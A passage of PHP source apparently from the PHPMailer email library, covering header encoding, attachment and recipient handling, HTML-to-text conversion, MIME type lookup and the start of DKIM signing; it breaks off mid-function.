  2835. /**
  2836. * Does a string contain any 8-bit chars (in any charset)?
  2837. * @param string $text
  2838. * @return boolean
  2839. */
  2840. public function has8bitChars($text)
  2841. {
  2842. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2843. }
  2844.  
  2845. /**
  2846. * Encode and wrap long multibyte strings for mail headers
  2847. * without breaking lines within a character.
  2848. * Adapted from a function by paravoid
  2849. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  2850. * @access public
  2851. * @param string $str multi-byte text to wrap encode
  2852. * @param string $linebreak string to use as linefeed/end-of-line
  2853. * @return string
  2854. */
  2855. public function base64EncodeWrapMB($str, $linebreak = null)
  2856. {
  2857. $start = '=?' . $this->CharSet . '?B?';
  2858. $end = '?=';
  2859. $encoded = '';
  2860. if ($linebreak === null) {
  2861. $linebreak = $this->LE;
  2862. }
  2863.  
  2864. $mb_length = mb_strlen($str, $this->CharSet);
  2865. // Each line must have length <= 75, including $start and $end
  2866. $length = 75 - strlen($start) - strlen($end);
  2867. // Average multi-byte ratio
  2868. $ratio = $mb_length / strlen($str);
  2869. // Base64 has a 4:3 ratio
  2870. $avgLength = floor($length * $ratio * .75);
  2871.  
  2872. for ($i = 0; $i < $mb_length; $i += $offset) {
  2873. $lookBack = 0;
  2874. do {
  2875. $offset = $avgLength - $lookBack;
  2876. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2877. $chunk = base64_encode($chunk);
  2878. $lookBack++;
  2879. } while (strlen($chunk) > $length);
  2880. $encoded .= $chunk . $linebreak;
  2881. }
  2882.  
  2883. // Chomp the last linefeed
  2884. $encoded = substr($encoded, 0, -strlen($linebreak));
  2885. return $encoded;
  2886. }
  2887.  
  2888. /**
  2889. * Encode a string in quoted-printable format.
  2890. * According to RFC2045 section 6.7.
  2891. * @access public
  2892. * @param string $string The text to encode
  2893. * @param integer $line_max Number of chars allowed on a line before wrapping
  2894. * @return string
  2895. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  2896. */
  2897. public function encodeQP($string, $line_max = 76)
  2898. {
  2899. // Use native function if it's available (>= PHP5.3)
  2900. if (function_exists('quoted_printable_encode')) {
  2901. return quoted_printable_encode($string);
  2902. }
  2903. // Fall back to a pure PHP implementation
  2904. $string = str_replace(
  2905. array('%20', '%0D%0A.', '%0D%0A', '%'),
  2906. array(' ', "\r\n=2E", "\r\n", '='),
  2907. rawurlencode($string)
  2908. );
  2909. return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2910. }
  2911.  
  2912. /**
  2913. * Backward compatibility wrapper for an old QP encoding function that was removed.
  2914. * @see PHPMailer::encodeQP()
  2915. * @access public
  2916. * @param string $string
  2917. * @param integer $line_max
  2918. * @param boolean $space_conv
  2919. * @return string
  2920. * @deprecated Use encodeQP instead.
  2921. */
  2922. public function encodeQPphp(
  2923. $string,
  2924. $line_max = 76,
  2925. /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2926. ) {
  2927. return $this->encodeQP($string, $line_max);
  2928. }
  2929.  
  2930. /**
  2931. * Encode a string using Q encoding.
  2932. * @link http://tools.ietf.org/html/rfc2047
  2933. * @param string $str the text to encode
  2934. * @param string $position Where the text is going to be used, see the RFC for what that means
  2935. * @access public
  2936. * @return string
  2937. */
  2938. public function encodeQ($str, $position = 'text')
  2939. {
  2940. // There should not be any EOL in the string
  2941. $pattern = '';
  2942. $encoded = str_replace(array("\r", "\n"), '', $str);
  2943. switch (strtolower($position)) {
  2944. case 'phrase':
  2945. // RFC 2047 section 5.3
  2946. $pattern = '^A-Za-z0-9!*+\/ -';
  2947. break;
  2948. /** @noinspection PhpMissingBreakStatementInspection */
  2949. case 'comment':
  2950. // RFC 2047 section 5.2
  2951. $pattern = '\(\)"';
  2952. // intentional fall-through
  2953. // for this reason we build the $pattern without including delimiters and []
  2954. case 'text':
  2955. default:
  2956. // RFC 2047 section 5.1
  2957. // Replace every high ascii, control, =, ? and _ characters
  2958. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2959. break;
  2960. }
  2961. $matches = array();
  2962. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2963. // If the string contains an '=', make sure it's the first thing we replace
  2964. // so as to avoid double-encoding
  2965. $eqkey = array_search('=', $matches[0]);
  2966. if (false !== $eqkey) {
  2967. unset($matches[0][$eqkey]);
  2968. array_unshift($matches[0], '=');
  2969. }
  2970. foreach (array_unique($matches[0]) as $char) {
  2971. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2972. }
  2973. }
  2974. // Replace every spaces to _ (more readable than =20)
  2975. return str_replace(' ', '_', $encoded);
  2976. }
  2977.  
  2978. /**
  2979. * Add a string or binary attachment (non-filesystem).
  2980. * This method can be used to attach ascii or binary data,
  2981. * such as a BLOB record from a database.
  2982. * @param string $string String attachment data.
  2983. * @param string $filename Name of the attachment.
  2984. * @param string $encoding File encoding (see $Encoding).
  2985. * @param string $type File extension (MIME) type.
  2986. * @param string $disposition Disposition to use
  2987. * @return void
  2988. */
  2989. public function addStringAttachment(
  2990. $string,
  2991. $filename,
  2992. $encoding = 'base64',
  2993. $type = '',
  2994. $disposition = 'attachment'
  2995. ) {
  2996. // If a MIME type is not specified, try to work it out from the file name
  2997. if ($type == '') {
  2998. $type = self::filenameToType($filename);
  2999. }
  3000. // Append to $attachment array
  3001. $this->attachment[] = array(
  3002. 0 => $string,
  3003. 1 => $filename,
  3004. 2 => basename($filename),
  3005. 3 => $encoding,
  3006. 4 => $type,
  3007. 5 => true, // isStringAttachment
  3008. 6 => $disposition,
  3009. 7 => 0
  3010. );
  3011. }
  3012.  
  3013. /**
  3014. * Add an embedded (inline) attachment from a file.
  3015. * This can include images, sounds, and just about any other document type.
  3016. * These differ from 'regular' attachments in that they are intended to be
  3017. * displayed inline with the message, not just attached for download.
  3018. * This is used in HTML messages that embed the images
  3019. * the HTML refers to using the $cid value.
  3020. * @param string $path Path to the attachment.
  3021. * @param string $cid Content ID of the attachment; Use this to reference
  3022. * the content when using an embedded image in HTML.
  3023. * @param string $name Overrides the attachment name.
  3024. * @param string $encoding File encoding (see $Encoding).
  3025. * @param string $type File MIME type.
  3026. * @param string $disposition Disposition to use
  3027. * @return boolean True on successfully adding an attachment
  3028. */
  3029. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  3030. {
  3031. if (!@is_file($path)) {
  3032. $this->setError($this->lang('file_access') . $path);
  3033. return false;
  3034. }
  3035.  
  3036. // If a MIME type is not specified, try to work it out from the file name
  3037. if ($type == '') {
  3038. $type = self::filenameToType($path);
  3039. }
  3040.  
  3041. $filename = basename($path);
  3042. if ($name == '') {
  3043. $name = $filename;
  3044. }
  3045.  
  3046. // Append to $attachment array
  3047. $this->attachment[] = array(
  3048. 0 => $path,
  3049. 1 => $filename,
  3050. 2 => $name,
  3051. 3 => $encoding,
  3052. 4 => $type,
  3053. 5 => false, // isStringAttachment
  3054. 6 => $disposition,
  3055. 7 => $cid
  3056. );
  3057. return true;
  3058. }
  3059.  
  3060. /**
  3061. * Add an embedded stringified attachment.
  3062. * This can include images, sounds, and just about any other document type.
  3063. * Be sure to set the $type to an image type for images:
  3064. * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  3065. * @param string $string The attachment binary data.
  3066. * @param string $cid Content ID of the attachment; Use this to reference
  3067. * the content when using an embedded image in HTML.
  3068. * @param string $name
  3069. * @param string $encoding File encoding (see $Encoding).
  3070. * @param string $type MIME type.
  3071. * @param string $disposition Disposition to use
  3072. * @return boolean True on successfully adding an attachment
  3073. */
  3074. public function addStringEmbeddedImage(
  3075. $string,
  3076. $cid,
  3077. $name = '',
  3078. $encoding = 'base64',
  3079. $type = '',
  3080. $disposition = 'inline'
  3081. ) {
  3082. // If a MIME type is not specified, try to work it out from the name
  3083. if ($type == '' and !empty($name)) {
  3084. $type = self::filenameToType($name);
  3085. }
  3086.  
  3087. // Append to $attachment array
  3088. $this->attachment[] = array(
  3089. 0 => $string,
  3090. 1 => $name,
  3091. 2 => $name,
  3092. 3 => $encoding,
  3093. 4 => $type,
  3094. 5 => true, // isStringAttachment
  3095. 6 => $disposition,
  3096. 7 => $cid
  3097. );
  3098. return true;
  3099. }
  3100.  
  3101. /**
  3102. * Check if an inline attachment is present.
  3103. * @access public
  3104. * @return boolean
  3105. */
  3106. public function inlineImageExists()
  3107. {
  3108. foreach ($this->attachment as $attachment) {
  3109. if ($attachment[6] == 'inline') {
  3110. return true;
  3111. }
  3112. }
  3113. return false;
  3114. }
  3115.  
  3116. /**
  3117. * Check if an attachment (non-inline) is present.
  3118. * @return boolean
  3119. */
  3120. public function attachmentExists()
  3121. {
  3122. foreach ($this->attachment as $attachment) {
  3123. if ($attachment[6] == 'attachment') {
  3124. return true;
  3125. }
  3126. }
  3127. return false;
  3128. }
  3129.  
  3130. /**
  3131. * Check if this message has an alternative body set.
  3132. * @return boolean
  3133. */
  3134. public function alternativeExists()
  3135. {
  3136. return !empty($this->AltBody);
  3137. }
  3138.  
  3139. /**
  3140. * Clear queued addresses of given kind.
  3141. * @access protected
  3142. * @param string $kind 'to', 'cc', or 'bcc'
  3143. * @return void
  3144. */
  3145. public function clearQueuedAddresses($kind)
  3146. {
  3147. $RecipientsQueue = $this->RecipientsQueue;
  3148. foreach ($RecipientsQueue as $address => $params) {
  3149. if ($params[0] == $kind) {
  3150. unset($this->RecipientsQueue[$address]);
  3151. }
  3152. }
  3153. }
  3154.  
  3155. /**
  3156. * Clear all To recipients.
  3157. * @return void
  3158. */
  3159. public function clearAddresses()
  3160. {
  3161. foreach ($this->to as $to) {
  3162. unset($this->all_recipients[strtolower($to[0])]);
  3163. }
  3164. $this->to = array();
  3165. $this->clearQueuedAddresses('to');
  3166. }
  3167.  
  3168. /**
  3169. * Clear all CC recipients.
  3170. * @return void
  3171. */
  3172. public function clearCCs()
  3173. {
  3174. foreach ($this->cc as $cc) {
  3175. unset($this->all_recipients[strtolower($cc[0])]);
  3176. }
  3177. $this->cc = array();
  3178. $this->clearQueuedAddresses('cc');
  3179. }
  3180.  
  3181. /**
  3182. * Clear all BCC recipients.
  3183. * @return void
  3184. */
  3185. public function clearBCCs()
  3186. {
  3187. foreach ($this->bcc as $bcc) {
  3188. unset($this->all_recipients[strtolower($bcc[0])]);
  3189. }
  3190. $this->bcc = array();
  3191. $this->clearQueuedAddresses('bcc');
  3192. }
  3193.  
  3194. /**
  3195. * Clear all ReplyTo recipients.
  3196. * @return void
  3197. */
  3198. public function clearReplyTos()
  3199. {
  3200. $this->ReplyTo = array();
  3201. $this->ReplyToQueue = array();
  3202. }
  3203.  
  3204. /**
  3205. * Clear all recipient types.
  3206. * @return void
  3207. */
  3208. public function clearAllRecipients()
  3209. {
  3210. $this->to = array();
  3211. $this->cc = array();
  3212. $this->bcc = array();
  3213. $this->all_recipients = array();
  3214. $this->RecipientsQueue = array();
  3215. }
  3216.  
  3217. /**
  3218. * Clear all filesystem, string, and binary attachments.
  3219. * @return void
  3220. */
  3221. public function clearAttachments()
  3222. {
  3223. $this->attachment = array();
  3224. }
  3225.  
  3226. /**
  3227. * Clear all custom headers.
  3228. * @return void
  3229. */
  3230. public function clearCustomHeaders()
  3231. {
  3232. $this->CustomHeader = array();
  3233. }
  3234.  
  3235. /**
  3236. * Add an error message to the error container.
  3237. * @access protected
  3238. * @param string $msg
  3239. * @return void
  3240. */
  3241. protected function setError($msg)
  3242. {
  3243. $this->error_count++;
  3244. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  3245. $lasterror = $this->smtp->getError();
  3246. if (!empty($lasterror['error'])) {
  3247. $msg .= $this->lang('smtp_error') . $lasterror['error'];
  3248. if (!empty($lasterror['detail'])) {
  3249. $msg .= ' Detail: '. $lasterror['detail'];
  3250. }
  3251. if (!empty($lasterror['smtp_code'])) {
  3252. $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  3253. }
  3254. if (!empty($lasterror['smtp_code_ex'])) {
  3255. $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  3256. }
  3257. }
  3258. }
  3259. $this->ErrorInfo = $msg;
  3260. }
  3261.  
  3262. /**
  3263. * Return an RFC 822 formatted date.
  3264. * @access public
  3265. * @return string
  3266. * @static
  3267. */
  3268. public static function rfcDate()
  3269. {
  3270. // Set the time zone to whatever the default is to avoid 500 errors
  3271. // Will default to UTC if it's not set properly in php.ini
  3272. date_default_timezone_set(@date_default_timezone_get());
  3273. return date('D, j M Y H:i:s O');
  3274. }
  3275.  
  3276. /**
  3277. * Get the server hostname.
  3278. * Returns 'localhost.localdomain' if unknown.
  3279. * @access protected
  3280. * @return string
  3281. */
  3282. protected function serverHostname()
  3283. {
  3284. $result = 'localhost.localdomain';
  3285. if (!empty($this->Hostname)) {
  3286. $result = $this->Hostname;
  3287. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  3288. $result = $_SERVER['SERVER_NAME'];
  3289. } elseif (function_exists('gethostname') && gethostname() !== false) {
  3290. $result = gethostname();
  3291. } elseif (php_uname('n') !== false) {
  3292. $result = php_uname('n');
  3293. }
  3294. return $result;
  3295. }
  3296.  
  3297. /**
  3298. * Get an error message in the current language.
  3299. * @access protected
  3300. * @param string $key
  3301. * @return string
  3302. */
  3303. protected function lang($key)
  3304. {
  3305. if (count($this->language) < 1) {
  3306. $this->setLanguage('en'); // set the default language
  3307. }
  3308.  
  3309. if (array_key_exists($key, $this->language)) {
  3310. if ($key == 'smtp_connect_failed') {
  3311. //Include a link to troubleshooting docs on SMTP connection failure
  3312. //this is by far the biggest cause of support questions
  3313. //but it's usually not PHPMailer's fault.
  3314. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  3315. }
  3316. return $this->language[$key];
  3317. } else {
  3318. //Return the key as a fallback
  3319. return $key;
  3320. }
  3321. }
  3322.  
  3323. /**
  3324. * Check if an error occurred.
  3325. * @access public
  3326. * @return boolean True if an error did occur.
  3327. */
  3328. public function isError()
  3329. {
  3330. return ($this->error_count > 0);
  3331. }
  3332.  
  3333. /**
  3334. * Ensure consistent line endings in a string.
  3335. * Changes every end of line from CRLF, CR or LF to $this->LE.
  3336. * @access public
  3337. * @param string $str String to fixEOL
  3338. * @return string
  3339. */
  3340. public function fixEOL($str)
  3341. {
  3342. // Normalise to \n
  3343. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  3344. // Now convert LE as needed
  3345. if ($this->LE !== "\n") {
  3346. $nstr = str_replace("\n", $this->LE, $nstr);
  3347. }
  3348. return $nstr;
  3349. }
  3350.  
  3351. /**
  3352. * Add a custom header.
  3353. * $name value can be overloaded to contain
  3354. * both header name and value (name:value)
  3355. * @access public
  3356. * @param string $name Custom header name
  3357. * @param string $value Header value
  3358. * @return void
  3359. */
  3360. public function addCustomHeader($name, $value = null)
  3361. {
  3362. if ($value === null) {
  3363. // Value passed in as name:value
  3364. $this->CustomHeader[] = explode(':', $name, 2);
  3365. } else {
  3366. $this->CustomHeader[] = array($name, $value);
  3367. }
  3368. }
  3369.  
  3370. /**
  3371. * Returns all custom headers.
  3372. * @return array
  3373. */
  3374. public function getCustomHeaders()
  3375. {
  3376. return $this->CustomHeader;
  3377. }
  3378.  
  3379. /**
  3380. * Create a message from an HTML string.
  3381. * Automatically makes modifications for inline images and backgrounds
  3382. * and creates a plain-text version by converting the HTML.
  3383. * Overwrites any existing values in $this->Body and $this->AltBody
  3384. * @access public
  3385. * @param string $message HTML message string
  3386. * @param string $basedir baseline directory for path
  3387. * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  3388. * or your own custom converter @see PHPMailer::html2text()
  3389. * @return string $message
  3390. */
  3391. public function msgHTML($message, $basedir = '', $advanced = false)
  3392. {
  3393. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  3394. if (array_key_exists(2, $images)) {
  3395. foreach ($images[2] as $imgindex => $url) {
  3396. // Convert data URIs into embedded images
  3397. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  3398. $data = substr($url, strpos($url, ','));
  3399. if ($match[2]) {
  3400. $data = base64_decode($data);
  3401. } else {
  3402. $data = rawurldecode($data);
  3403. }
  3404. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3405. if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  3406. $message = str_replace(
  3407. $images[0][$imgindex],
  3408. $images[1][$imgindex] . '="cid:' . $cid . '"',
  3409. $message
  3410. );
  3411. }
  3412. } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
  3413. // Do not change urls for absolute images (thanks to corvuscorax)
  3414. // Do not change urls that are already inline images
  3415. $filename = basename($url);
  3416. $directory = dirname($url);
  3417. if ($directory == '.') {
  3418. $directory = '';
  3419. }
  3420. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3421. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  3422. $basedir .= '/';
  3423. }
  3424. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  3425. $directory .= '/';
  3426. }
  3427. if ($this->addEmbeddedImage(
  3428. $basedir . $directory . $filename,
  3429. $cid,
  3430. $filename,
  3431. 'base64',
  3432. self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  3433. )
  3434. ) {
  3435. $message = preg_replace(
  3436. '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  3437. $images[1][$imgindex] . '="cid:' . $cid . '"',
  3438. $message
  3439. );
  3440. }
  3441. }
  3442. }
  3443. }
  3444. $this->isHTML(true);
  3445. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  3446. $this->Body = $this->normalizeBreaks($message);
  3447. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  3448. if (empty($this->AltBody)) {
  3449. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  3450. self::CRLF . self::CRLF;
  3451. }
  3452. return $this->Body;
  3453. }
  3454.  
  3455. /**
  3456. * Convert an HTML string into plain text.
  3457. * This is used by msgHTML().
  3458. * Note - older versions of this function used a bundled advanced converter
  3459. * which was been removed for license reasons in #232
  3460. * Example usage:
  3461. * <code>
  3462. * // Use default conversion
  3463. * $plain = $mail->html2text($html);
  3464. * // Use your own custom converter
  3465. * $plain = $mail->html2text($html, function($html) {
  3466. * $converter = new MyHtml2text($html);
  3467. * return $converter->get_text();
  3468. * });
  3469. * </code>
  3470. * @param string $html The HTML text to convert
  3471. * @param boolean|callable $advanced Any boolean value to use the internal converter,
  3472. * or provide your own callable for custom conversion.
  3473. * @return string
  3474. */
  3475. public function html2text($html, $advanced = false)
  3476. {
  3477. if (is_callable($advanced)) {
  3478. return call_user_func($advanced, $html);
  3479. }
  3480. return html_entity_decode(
  3481. trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  3482. ENT_QUOTES,
  3483. $this->CharSet
  3484. );
  3485. }
  3486.  
  3487. /**
  3488. * Get the MIME type for a file extension.
  3489. * @param string $ext File extension
  3490. * @access public
  3491. * @return string MIME type of file.
  3492. * @static
  3493. */
  3494. public static function _mime_types($ext = '')
  3495. {
  3496. $mimes = array(
  3497. 'xl' => 'application/excel',
  3498. 'js' => 'application/javascript',
  3499. 'hqx' => 'application/mac-binhex40',
  3500. 'cpt' => 'application/mac-compactpro',
  3501. 'bin' => 'application/macbinary',
  3502. 'doc' => 'application/msword',
  3503. 'word' => 'application/msword',
  3504. 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  3505. 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
  3506. 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
  3507. 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  3508. 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  3509. 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
  3510. 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  3511. 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  3512. 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
  3513. 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  3514. 'class' => 'application/octet-stream',
  3515. 'dll' => 'application/octet-stream',
  3516. 'dms' => 'application/octet-stream',
  3517. 'exe' => 'application/octet-stream',
  3518. 'lha' => 'application/octet-stream',
  3519. 'lzh' => 'application/octet-stream',
  3520. 'psd' => 'application/octet-stream',
  3521. 'sea' => 'application/octet-stream',
  3522. 'so' => 'application/octet-stream',
  3523. 'oda' => 'application/oda',
  3524. 'pdf' => 'application/pdf',
  3525. 'ai' => 'application/postscript',
  3526. 'eps' => 'application/postscript',
  3527. 'ps' => 'application/postscript',
  3528. 'smi' => 'application/smil',
  3529. 'smil' => 'application/smil',
  3530. 'mif' => 'application/vnd.mif',
  3531. 'xls' => 'application/vnd.ms-excel',
  3532. 'ppt' => 'application/vnd.ms-powerpoint',
  3533. 'wbxml' => 'application/vnd.wap.wbxml',
  3534. 'wmlc' => 'application/vnd.wap.wmlc',
  3535. 'dcr' => 'application/x-director',
  3536. 'dir' => 'application/x-director',
  3537. 'dxr' => 'application/x-director',
  3538. 'dvi' => 'application/x-dvi',
  3539. 'gtar' => 'application/x-gtar',
  3540. 'php3' => 'application/x-httpd-php',
  3541. 'php4' => 'application/x-httpd-php',
  3542. 'php' => 'application/x-httpd-php',
  3543. 'phtml' => 'application/x-httpd-php',
  3544. 'phps' => 'application/x-httpd-php-source',
  3545. 'swf' => 'application/x-shockwave-flash',
  3546. 'sit' => 'application/x-stuffit',
  3547. 'tar' => 'application/x-tar',
  3548. 'tgz' => 'application/x-tar',
  3549. 'xht' => 'application/xhtml+xml',
  3550. 'xhtml' => 'application/xhtml+xml',
  3551. 'zip' => 'application/zip',
  3552. 'mid' => 'audio/midi',
  3553. 'midi' => 'audio/midi',
  3554. 'mp2' => 'audio/mpeg',
  3555. 'mp3' => 'audio/mpeg',
  3556. 'mpga' => 'audio/mpeg',
  3557. 'aif' => 'audio/x-aiff',
  3558. 'aifc' => 'audio/x-aiff',
  3559. 'aiff' => 'audio/x-aiff',
  3560. 'ram' => 'audio/x-pn-realaudio',
  3561. 'rm' => 'audio/x-pn-realaudio',
  3562. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3563. 'ra' => 'audio/x-realaudio',
  3564. 'wav' => 'audio/x-wav',
  3565. 'bmp' => 'image/bmp',
  3566. 'gif' => 'image/gif',
  3567. 'jpeg' => 'image/jpeg',
  3568. 'jpe' => 'image/jpeg',
  3569. 'jpg' => 'image/jpeg',
  3570. 'png' => 'image/png',
  3571. 'tiff' => 'image/tiff',
  3572. 'tif' => 'image/tiff',
  3573. 'eml' => 'message/rfc822',
  3574. 'css' => 'text/css',
  3575. 'html' => 'text/html',
  3576. 'htm' => 'text/html',
  3577. 'shtml' => 'text/html',
  3578. 'log' => 'text/plain',
  3579. 'text' => 'text/plain',
  3580. 'txt' => 'text/plain',
  3581. 'rtx' => 'text/richtext',
  3582. 'rtf' => 'text/rtf',
  3583. 'vcf' => 'text/vcard',
  3584. 'vcard' => 'text/vcard',
  3585. 'xml' => 'text/xml',
  3586. 'xsl' => 'text/xml',
  3587. 'mpeg' => 'video/mpeg',
  3588. 'mpe' => 'video/mpeg',
  3589. 'mpg' => 'video/mpeg',
  3590. 'mov' => 'video/quicktime',
  3591. 'qt' => 'video/quicktime',
  3592. 'rv' => 'video/vnd.rn-realvideo',
  3593. 'avi' => 'video/x-msvideo',
  3594. 'movie' => 'video/x-sgi-movie'
  3595. );
  3596. if (array_key_exists(strtolower($ext), $mimes)) {
  3597. return $mimes[strtolower($ext)];
  3598. }
  3599. return 'application/octet-stream';
  3600. }
  3601.  
  3602. /**
  3603. * Map a file name to a MIME type.
  3604. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  3605. * @param string $filename A file name or full path, does not need to exist as a file
  3606. * @return string
  3607. * @static
  3608. */
  3609. public static function filenameToType($filename)
  3610. {
  3611. // In case the path is a URL, strip any query string before getting extension
  3612. $qpos = strpos($filename, '?');
  3613. if (false !== $qpos) {
  3614. $filename = substr($filename, 0, $qpos);
  3615. }
  3616. $pathinfo = self::mb_pathinfo($filename);
  3617. return self::_mime_types($pathinfo['extension']);
  3618. }
  3619.  
  3620. /**
  3621. * Multi-byte-safe pathinfo replacement.
  3622. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  3623. * Works similarly to the one in PHP >= 5.2.0
  3624. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  3625. * @param string $path A filename or path, does not need to exist as a file
  3626. * @param integer|string $options Either a PATHINFO_* constant,
  3627. * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  3628. * @return string|array
  3629. * @static
  3630. */
  3631. public static function mb_pathinfo($path, $options = null)
  3632. {
  3633. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  3634. $pathinfo = array();
  3635. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  3636. if (array_key_exists(1, $pathinfo)) {
  3637. $ret['dirname'] = $pathinfo[1];
  3638. }
  3639. if (array_key_exists(2, $pathinfo)) {
  3640. $ret['basename'] = $pathinfo[2];
  3641. }
  3642. if (array_key_exists(5, $pathinfo)) {
  3643. $ret['extension'] = $pathinfo[5];
  3644. }
  3645. if (array_key_exists(3, $pathinfo)) {
  3646. $ret['filename'] = $pathinfo[3];
  3647. }
  3648. }
  3649. switch ($options) {
  3650. case PATHINFO_DIRNAME:
  3651. case 'dirname':
  3652. return $ret['dirname'];
  3653. case PATHINFO_BASENAME:
  3654. case 'basename':
  3655. return $ret['basename'];
  3656. case PATHINFO_EXTENSION:
  3657. case 'extension':
  3658. return $ret['extension'];
  3659. case PATHINFO_FILENAME:
  3660. case 'filename':
  3661. return $ret['filename'];
  3662. default:
  3663. return $ret;
  3664. }
  3665. }
  3666.  
  3667. /**
  3668. * Set or reset instance properties.
  3669. * You should avoid this function - it's more verbose, less efficient, more error-prone and
  3670. * harder to debug than setting properties directly.
  3671. * Usage Example:
  3672. * `$mail->set('SMTPSecure', 'tls');`
  3673. * is the same as:
  3674. * `$mail->SMTPSecure = 'tls';`
  3675. * @access public
  3676. * @param string $name The property name to set
  3677. * @param mixed $value The value to set the property to
  3678. * @return boolean
  3679. * @TODO Should this not be using the __set() magic function?
  3680. */
  3681. public function set($name, $value = '')
  3682. {
  3683. if (property_exists($this, $name)) {
  3684. $this->$name = $value;
  3685. return true;
  3686. } else {
  3687. $this->setError($this->lang('variable_set') . $name);
  3688. return false;
  3689. }
  3690. }
  3691.  
  3692. /**
  3693. * Strip newlines to prevent header injection.
  3694. * @access public
  3695. * @param string $str
  3696. * @return string
  3697. */
  3698. public function secureHeader($str)
  3699. {
  3700. return trim(str_replace(array("\r", "\n"), '', $str));
  3701. }
  3702.  
  3703. /**
  3704. * Normalize line breaks in a string.
  3705. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  3706. * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  3707. * @param string $text
  3708. * @param string $breaktype What kind of line break to use, defaults to CRLF
  3709. * @return string
  3710. * @access public
  3711. * @static
  3712. */
  3713. public static function normalizeBreaks($text, $breaktype = "\r\n")
  3714. {
  3715. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  3716. }
  3717.  
  3718. /**
  3719. * Set the public and private key files and password for S/MIME signing.
  3720. * @access public
  3721. * @param string $cert_filename
  3722. * @param string $key_filename
  3723. * @param string $key_pass Password for private key
  3724. * @param string $extracerts_filename Optional path to chain certificate
  3725. */
  3726. public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
  3727. {
  3728. $this->sign_cert_file = $cert_filename;
  3729. $this->sign_key_file = $key_filename;
  3730. $this->sign_key_pass = $key_pass;
  3731. $this->sign_extracerts_file = $extracerts_filename;
  3732. }
  3733.  
  3734. /**
  3735. * Quoted-Printable-encode a DKIM header.
  3736. * @access public
  3737. * @param string $txt
  3738. * @return string
  3739. */
  3740. public function DKIM_QP($txt)
  3741. {
  3742. $line = '';
  3743. for ($i = 0; $i < strlen($txt); $i++) {
  3744. $ord = ord($txt[$i]);
  3745. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  3746. $line .= $txt[$i];
  3747. } else {
  3748. $line .= '=' . sprintf('%02X', $ord);
  3749. }
  3750. }
  3751. return $line;
  3752. }
  3753.  
  3754. /**
  3755. * Generate a DKIM signature.
  3756. * @access public
  3757. * @param string $signHeader
  3758. * @throws phpmailerException
  3759. * @return string
  3760. */
  3761. public function DKIM_Sign($signHeader)
  3762. {
  3763. if (!defined('PKCS7_TEXT')) {
  3764. if ($this->exceptions) {
  3765. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  3766. }
  3767. return '';
  3768. }
  3769. $privKeyStr = file_get_contents($this->DKIM_private);
  3770. if ($this->DKIM_passphrase != '') {
  3771. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  3772. } else {
  3773. $privKey = $privKeyStr;
  3774. }
